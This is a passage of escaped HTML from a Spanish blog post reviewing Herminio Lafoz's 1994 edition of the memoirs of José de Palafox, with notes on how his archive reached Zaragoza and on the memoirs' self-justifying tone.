center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIoHcPgcAHWkT5K-rG84CxzPhXIKvKDRQOtU9O7obWDdfWxu6Vwnv5sHUTp-2vhep5IJE18Y9FqdSILjutfs2iBECarvpVau1Yp5WNocPUg9yc0REKAXTwGGelygDPyuZLJkMy1rzlUINX/s512/Palafox.jpg&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;512&quot; data-original-width=&quot;344&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIoHcPgcAHWkT5K-rG84CxzPhXIKvKDRQOtU9O7obWDdfWxu6Vwnv5sHUTp-2vhep5IJE18Y9FqdSILjutfs2iBECarvpVau1Yp5WNocPUg9yc0REKAXTwGGelygDPyuZLJkMy1rzlUINX/w215-h320/Palafox.jpg&quot; width=&quot;215&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-family: helvetica; font-size: small; mso-ansi-language: ES;&quot;&gt;&lt;div style=&quot;text-align: right;&quot;&gt;&lt;span&gt;MEMORIAS&lt;/span&gt;&lt;/div&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h1&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; text-align: right;&quot;&gt;&lt;span style=&quot;font-family: helvetica;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;mso-ansi-language: ES;&quot;&gt;JOSÉ DE PALAFOX &lt;/span&gt;&lt;span lang=&quot;ES&quot; style=&quot;mso-ansi-language: ES;&quot;&gt;(1994)&lt;/span&gt;&lt;span lang=&quot;ES&quot; style=&quot;mso-ansi-language: ES;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: 0.0001pt; text-align: right;&quot;&gt;&lt;span style=&quot;font-family: helvetica;&quot;&gt;&lt;span lang=&quot;ES&quot;&gt;Edición,
introducción y notas&lt;br /&gt;&lt;/span&gt;&lt;span lang=&quot;ES&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: 0.0001pt; text-align: right;&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-family: helvetica;&quot;&gt;Herminio Lafoz Rabaza&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: 0.0001pt; text-align: right;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-family: helvetica;&quot;&gt;Ayuntamiento
de Zargoza&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: 0.0001pt; text-align: right;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-family: helvetica;&quot;&gt;Cuadernos
de Cultura Aragonesa, 15&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: 0.0001pt; text-align: right;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-family: helvetica;&quot;&gt;Cuadernos
de Zaragoza&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: 0.0001pt; text-align: right;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-family: helvetica;&quot;&gt;Número
especia&lt;/span&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-family: helvetica; font-size: x-small;&quot;&gt;l&lt;/span&gt;&lt;/p&gt;&lt;p align=&quot;right&quot; class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: 0cm; text-align: right;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-size: 12pt; mso-ansi-language: ES;&quot;&gt;&lt;o:p&gt;&lt;span&gt;&lt;/span&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-size: 12pt; mso-ansi-language: ES;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;p&gt;&lt;/p&gt;

&lt;p align=&quot;right&quot; class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: 0cm; text-align: right;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-size: 12pt; mso-ansi-language: ES;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;float: right;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN51WW1GTyz0T4cCIuFJLfOuW4j2plb-c0vlIi_EZoQHE-Ls2TfXV253_7JqqtyAEkWuOEjVb8G2WvJRl6rRK87zqiZnRvJ_0XMHTVc9VG_Iqb3T0PDnpU6Zf-jJ2Pi4HiycJ4wP9_UJSp/s378/Palafox-general.jpg&quot; style=&quot;clear: right; margin-bottom: 1em; margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;378&quot; data-original-width=&quot;319&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN51WW1GTyz0T4cCIuFJLfOuW4j2plb-c0vlIi_EZoQHE-Ls2TfXV253_7JqqtyAEkWuOEjVb8G2WvJRl6rRK87zqiZnRvJ_0XMHTVc9VG_Iqb3T0PDnpU6Zf-jJ2Pi4HiycJ4wP9_UJSp/s320/Palafox-general.jpg&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;José de Palafox y Melcí&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-size: 12pt; mso-ansi-language: ES;&quot;&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&lt;/span&gt;&lt;p&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: 0cm; text-align: left;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;line-height: 150%; text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: 0cm; text-align: left;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;line-height: 150%; text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: 0cm; text-align: left;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;line-height: 150%; text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: 0cm; text-align: left;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;line-height: 150%; text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: 0cm; text-align: left;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;line-height: 150%; text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: 0cm; text-align: left;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;line-height: 150%; text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: 0cm; text-align: left;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;line-height: 150%; text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: 0cm; text-align: left;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;line-height: 150%; text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;Si queremos recordar hoy este libro es porque dentro
de unos días &lt;/span&gt;&lt;a href=&quot;http://www.enciclopedia-aragonesa.com/voz.asp?voz_id=9794&quot; style=&quot;font-size: 12pt;&quot; target=&quot;_blank&quot;&gt;José de Palafox y Melcí&lt;/a&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: red; font-size: x-small;&quot;&gt;(1)&lt;/span&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-size: 12pt; line-height: 150%; text-align: justify;&quot;&gt;&amp;nbsp;duque de Zaragoza, cumpliría 245 años. Nació en Zaragoza un &lt;b&gt;28 de octubre de 1775 &lt;/b&gt;en la casa de la
calle Labata, muy cerca de la catedral de La Seo.&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: 150%; margin-bottom: 0cm; text-align: justify;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-size: 12pt; line-height: 150%; mso-ansi-language: ES;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;

&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtvOJd8-AyBFfQuQ9OtHGXDvJ1Yh9_mK6EBm6coQOfzhNX37W_Gx1psxNVHnywhkPkfvqKdX2LY2G-vcZm88KbJ_zU4Lf66ptATACZkSSHRl8Bla42ZjbeverKQsieKif8sCXDFPGiP91s/s2048/20201024_132612.jpg&quot; style=&quot;clear: left; display: inline; font-size: 12pt; margin-bottom: 1em; margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;2048&quot; data-original-width=&quot;1536&quot; height=&quot;640&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtvOJd8-AyBFfQuQ9OtHGXDvJ1Yh9_mK6EBm6coQOfzhNX37W_Gx1psxNVHnywhkPkfvqKdX2LY2G-vcZm88KbJ_zU4Lf66ptATACZkSSHRl8Bla42ZjbeverKQsieKif8sCXDFPGiP91s/w480-h640/20201024_132612.jpg&quot; width=&quot;480&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Casa de Palafox en la actualidad, vista desde S. Vicente de Paúl&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: 150%; margin-bottom: 0cm; text-align: justify;&quot;&gt;&lt;/p&gt;&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;float: right;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSUsZcqzFUpeVVb998nMs5KhZpVVeFxluNSI-UK8LolMqzffuc459Lh6J4cINpZC8fBm8h7cKVVRHKFoof48kFnzp36X0JdbTsxX0T0seUSLX7LhLCY4N9N5MnURwgTFgPVSdLnvLrVGgW/s2048/20201024_132840.jpg&quot; style=&quot;clear: right; margin-bottom: 1em; margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;2048&quot; data-original-width=&quot;1536&quot; height=&quot;400&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSUsZcqzFUpeVVb998nMs5KhZpVVeFxluNSI-UK8LolMqzffuc459Lh6J4cINpZC8fBm8h7cKVVRHKFoof48kFnzp36X0JdbTsxX0T0seUSLX7LhLCY4N9N5MnURwgTFgPVSdLnvLrVGgW/w300-h400/20201024_132840.jpg&quot; width=&quot;300&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Calle de Palafox, en la actualidad&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-size: 12pt; line-height: 150%; mso-ansi-language: ES;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;p&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: 150%; margin-bottom: 0cm; text-align: justify;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-size: 12pt; line-height: 150%; mso-ansi-language: ES;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: 150%; margin-bottom: 0cm; text-align: justify;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-size: 12pt; line-height: 150%; mso-ansi-language: ES;&quot;&gt;(En este enlace de flickr se puede ver el gran patio que tenía:&amp;nbsp;&lt;a href=&quot;https://www.flickr.com/photos/zaragozaantigua/32640854293&quot; target=&quot;_blank&quot;&gt;Patio de la casa de los Lazán en 1947&lt;/a&gt;)&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: 150%; margin-bottom: 0cm; text-align: justify;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-size: 12pt; line-height: 150%; mso-ansi-language: ES;&quot;&gt;Hoy día este caserón se encuentra en el nº4 de la
calle de Palafox, junto a San Vicente de Paúl, aunque de la casa original
apenas queda otra cosa que la fachada, debido a una reforma integral que la convirtió
en viviendas y oficinas (no sabemos por qué no se llevó a cabo la idea de crear
en este lugar un museo de Los Sitios, como en alguna ocasión se propuso).&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: 150%; margin-bottom: 0cm; text-align: justify;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-size: 12pt; line-height: 150%; mso-ansi-language: ES;&quot;&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: 150%; margin-bottom: 0cm; text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/p&gt;

&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTfGNrSbLvS39LzFjb3C4zZqePva2FE063NPHBFDgailkk3atb4w0zQW_wRmSIqIIYqIlSS9STM_km-iHjYBTfZXaJygfSuMPlKmshOY3J2yNpui1-9AaCrJ4VlmzsrSfTYHNEb_3I2cUo/s2048/20201024_132921.jpg&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;2048&quot; data-original-width=&quot;1536&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTfGNrSbLvS39LzFjb3C4zZqePva2FE063NPHBFDgailkk3atb4w0zQW_wRmSIqIIYqIlSS9STM_km-iHjYBTfZXaJygfSuMPlKmshOY3J2yNpui1-9AaCrJ4VlmzsrSfTYHNEb_3I2cUo/s320/20201024_132921.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: 150%; margin-bottom: 0cm; text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: 150%; margin-bottom: 0cm; text-align: justify;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-size: 12pt; line-height: 150%; mso-ansi-language: ES;&quot;&gt;No pretendemos en esta ocasión hablar de la
biografía de Palafox, ni de sus hazañas, que por otra parte se pueden encontrar
en la abundante bibliografía sobre la Guerra de la Independencia, sino que
queremos centrarnos en este libro editado por &lt;b&gt;Herminio Lafoz&lt;/b&gt;.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: 150%; margin-bottom: 0cm; text-align: justify;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-size: 12pt; line-height: 150%; mso-ansi-language: ES;&quot;&gt;Nos dice Lafoz en la Introducción qué fue lo que le
llevó a trabajar sobre el tema de las Memorias: “preparando una biografía de
Palafox encontró varios manuscritos que hacían referencia a sus memorias” y
trató de organizar todos los textos. La tarea de Lafoz no debió ser fácil,
aunque quiero suponer que sería muy interesante tener en la mano todos esos
legajos. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: 150%; margin-bottom: 0cm; text-align: justify;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-size: 12pt; line-height: 150%; mso-ansi-language: ES;&quot;&gt;Los archivos de José Palafox habían llegado a
Zaragoza de una forma muy curiosa tal como cuenta el propio José García
Mercadal (2) y que el editor recoge en la introducción. &lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&lt;/span&gt;Encontrándose este periodista en Madrid en
1919, visitó una librería de lance, frente al teatro Eslava donde el
propietario había comprado a uno de los descendientes de Palafox nada menos que
30 cajones conteniendo sus archivos, papeles que habían ido pasando de heredero
en heredero hasta su venta. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: 150%; margin-bottom: 0cm; text-align: justify;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-size: 12pt; line-height: 150%; mso-ansi-language: ES;&quot;&gt;García Mercadal (3) se quedó tan atónito cuando los vio,
que inmediatamente escribió al alcalde de Zaragoza para que el ayuntamiento los
comprara. El alcalde, Pedro Calvo, hizo una suscripción popular y se pudieron
reunir 6.000 pesetas de las 10.000 que pedía el librero. Lafoz nos muestra en
un apéndice al final del libro las cartas recibidas por el alcalde.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: 150%; margin-bottom: 0cm; text-align: justify;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-size: 12pt; line-height: 150%; mso-ansi-language: ES;&quot;&gt;De esta manera llegó el archivo de Palafox a
Zaragoza, pero no fue hasta muchos años después, 1966, cuando se publicaron las
Memorias con una introducción de José García Mercadal por la editorial Taurus.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: 150%; margin-bottom: 0cm; text-align: justify;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-size: 12pt; line-height: 150%; mso-ansi-language: ES;&quot;&gt;En este libro de Herminio Lafoz se presenta un
trabajo de reconstrucción de la historia acoplando las versiones que él encontró
y clasificándolas para dar una continuidad a los hechos.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: 150%; margin-bottom: 0cm; text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;Pasando ya a las Memorias propiamente dichas, tengo
que decir que resultan un tanto decepcionantes. Palafox, dando por supuesto que
se conocen los hechos, se limita a justificar su actuación a lo largo de su
vida, diciendo continuamente que él siempre se comportó de una manera correcta
en todas las decisiones que tuvo que tomar, pero deja al lector con las ganas
de conocer de primera mano unos hechos tan importantes para la ciudad.&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: 150%; margin-bottom: 0cm; text-align: justify;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-size: 12pt; line-height: 150%; mso-ansi-language: ES;&quot;&gt;José de Palafox se nos ofrece a los espectadores de
siglo XXI como una persona ambigua. Por una parte, lo encontramos como un ciego
servidor de Fernando VII y del Antiguo Régimen, aunque por otra es una persona
“cercana al pueblo”, capaz de convencer al monarca de desviarse en su viaje
para hacerle venir a Zaragoza y pasearse sentado junto al Rey, en el mismo
carruaje, mientras le muestra las ruinas de la ciudad y le habla del heroísmo y
la pobreza de sus gentes. Según parece, Palafox no quiso engalanar las calles,
sino que colocó en los márgenes de las mismas, para que pudieran verse bien, a
los tullidos, los niños y las viudas, mientras le explicaba al Rey que esas
eran las verdaderas glorias de Zaragoza. Tal vez su educación ilustrada le
hacía pensar en “&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;todo para el pueblo,
pero sin el pueblo&lt;/i&gt;”. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: 150%; margin-bottom: 0cm; text-align: justify;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-size: 12pt; line-height: 150%; mso-ansi-language: ES;&quot;&gt;A través de sus Memorias vemos a un José de Palafox desencantado,
que recibe críticas de ambas partes de la política, sin llegar a alcanzar los
méritos que cree tener por la defensa de su Rey y de su país. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: 150%; margin-bottom: 0cm; text-align: justify;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-size: 10pt; line-height: 150%; mso-ansi-language: ES;&quot;&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoListParagraph&quot; style=&quot;line-height: 150%; margin: 0cm 0cm 0.0001pt 18pt; text-align: justify; text-indent: -18pt;&quot;&gt;&lt;!--[if !supportLists]--&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-size: 10pt; line-height: 150%; mso-ansi-language: ES; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;&quot;&gt;&lt;span style=&quot;mso-list: Ignore;&quot;&gt;(1)&lt;span style=&quot;font: 7pt &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-size: 10pt; line-height: 150%; mso-ansi-language: ES;&quot;&gt;José de
Palafox fue el tercer hijo de los marqueses de Lazán y Cañizar, familia muy
relacionada con la realeza. Nació en Zaragoza el 28 de octubre de 1775 y tuvo
como profesor y preceptor al Padre Basilio Boggiero. A los dieciséis años entró
en la compañía flamenca de los Reales Guardias de Corps.&lt;/span&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-size: 10pt; line-height: 150%;&quot;&gt; &lt;/span&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-size: 10pt; line-height: 150%; mso-ansi-language: ES;&quot;&gt;El 25 de mayo de
1808 el pueblo le nombró gobernador de Zaragoza y capitán general de Aragón.&lt;/span&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-size: 10pt; line-height: 150%;&quot;&gt; &lt;/span&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-size: 10pt; line-height: 150%; mso-ansi-language: ES;&quot;&gt;Entonces declaró
la guerra a Francia.&lt;/span&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-size: 10pt; line-height: 150%;&quot;&gt; &lt;/span&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-size: 10pt; line-height: 150%; mso-ansi-language: ES;&quot;&gt;Tras el asedio de Zaragoza fue hecho prisionero y
conducido a Francia, estuvo en Vincennes hasta diciembre de 1813 que con la
firma del tratado de Valençay regresó a España.&lt;/span&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-size: 10pt; line-height: 150%;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;font-size: 10pt; line-height: 150%;&quot;&gt;Falleció el 15 de febrero de 1847 en Madrid. &lt;/span&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-size: 10pt; line-height: 150%; mso-ansi-language: ES;&quot;&gt;Durante
la conmemoración del 150 aniversario de los Sitios de Zaragoza, el 7 de junio
de 1958, sus restos fueron trasladados desde el Panteón de Hombres Ilustres de
Madrid hasta la cripta de la basílica del Pilar de Zaragoza, donde se encuentra
actualmente.&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoListParagraph&quot; style=&quot;line-height: 150%; margin: 0cm 0cm 0.0001pt 18pt; text-align: justify; text-indent: -18pt;&quot;&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p class=&quot;MsoListParagraph&quot; style=&quot;line-height: normal; margin: 0cm 0cm 0.0001pt 18pt; text-align: justify; text-indent: -18pt;&quot;&gt;&lt;!--[if !supportLists]--&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-size: 10pt; mso-ansi-language: ES; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;&quot;&gt;&lt;span style=&quot;mso-list: Ignore;&quot;&gt;(2)&lt;span style=&quot;font: 7pt &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-size: 10pt; mso-ansi-language: ES;&quot;&gt;José García Mercadal,
periodista y escritor zaragozano, por Juan Domínguez Lasierra.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: 0cm; text-align: justify;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-size: 10pt; mso-ansi-language: ES;&quot;&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoListParagraph&quot; style=&quot;line-height: normal; margin: 0cm 0cm 0.0001pt 18pt; text-align: justify; text-indent: -18pt;&quot;&gt;&lt;!--[if !supportLists]--&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-size: 10pt; mso-ansi-language: ES; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;&quot;&gt;&lt;span style=&quot;mso-list: Ignore;&quot;&gt;(3)&lt;span style=&quot;font: 7pt &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-size: 10pt; mso-ansi-language: ES;&quot;&gt;José García Mercadal
recibió del Ayuntamiento de Zaragoza la medalla de oro de la ciudad por haber
